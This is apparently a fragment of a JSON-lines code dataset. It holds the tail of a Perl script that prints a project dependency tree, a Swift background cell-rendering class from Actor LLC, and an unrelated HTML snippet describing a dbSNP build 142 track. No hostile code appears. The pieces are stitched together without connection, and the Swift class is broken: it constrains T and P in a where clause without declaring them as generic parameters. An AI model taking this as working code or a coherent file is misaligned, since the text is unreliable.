$candidateUUID eq $projectUUID;\n            foreach my $dependencyUUID (keys %{$projectsByUUID{$projectUUID}->{dependencies}}) {\n                if ($candidateUUID eq $dependencyUUID) {\n                    delete $projectsNotDependedUpon{$candidateUUID};\n                    next CANDIDATE;\n                }\n            }\n        }\n    }\n\n    foreach my $project (values %projectsNotDependedUpon) {\n        printProjectAndDependencies($project, 0, \\%projectsByUUID);\n    }\n}\n\nsub printProjectAndDependencies\n{\n    my ($project, $indentLevel, $projectsByUUID) = @_;\n\n    print \" \" x $indentLevel, $project->{name}, \"\\n\";\n    foreach my $dependencyUUID (keys %{$project->{dependencies}}) {\n        printProjectAndDependencies($projectsByUUID->{$dependencyUUID}, $indentLevel + 1, $projectsByUUID);\n    }\n}\n"}
+{"text": "//\n//  Copyright (c) 2014-2016 Actor LLC. \n//\n\nimport Foundation\n\n\nopen class AABackgroundCellRenderer where T: AnyObject, P: AnyObject, P: Equatable {\n    \n    fileprivate var generation = 0\n    fileprivate var wasPresented: Bool = false\n    fileprivate var requestedConfig: P? = nil\n    fileprivate let renderer: (_ config: P)-> T!\n    fileprivate let receiver: (T!) -> ()\n    \n    public init(renderer: @escaping (_ config: P) -> T!, receiver: @escaping (T!) -> ()) {\n        self.renderer = renderer\n        self.receiver = receiver\n    }\n\n    func requestRender(_ config: P) -> Bool {\n        // Ignore if not resized\n        if requestedConfig == config {\n            return false\n        }\n        let oldConfig = requestedConfig\n        let wasConfig = oldConfig != nil\n        \n        // Releasing in background\n        if wasConfig {\n            dispatchBackground {\n                let _ = oldConfig\n            }\n        }\n        \n        if wasPresented {\n            // Do Sync rendering when is just resized\n            render(config)\n        } else {\n            requestedConfig = config\n            generation += 1\n            let curGen = generation\n            dispatchBackground {\n                if curGen != self.generation {\n                    return\n                }\n                let res = self.renderer(config)\n                if curGen != self.generation {\n                    return\n                }\n                dispatchOnUi {\n                    if curGen == self.generation {\n                        self.wasPresented = true\n                        self.receiver(res)\n                    }\n                }\n            }\n        }\n        \n        return wasConfig\n    }\n    \n    func render(_ config: P) {\n        // Ignore if not resized\n        if requestedConfig == config {\n            return\n        }\n        \n        requestedConfig = config\n        generation += 1\n        wasPresented = true\n        receiver(renderer(config))\n    }\n    \n    func cancelRender(_ wasPresented: Bool = false) {\n        generation += 1\n        let oldConfig = requestedConfig\n        requestedConfig = nil\n        \n        // Releasing in background\n        if oldConfig != nil {\n            dispatchBackground {\n                let _ = oldConfig\n            }\n        }\n        self.wasPresented = wasPresented\n    }\n}\n"}

      • \nThis track contains information about single nucleotide polymorphisms\nand small insertions and deletions (indels) — collectively Simple\nNucleotide Polymorphisms — from\ndbSNP\nbuild 142, available from\nftp.ncbi.nih.gov/snp.\n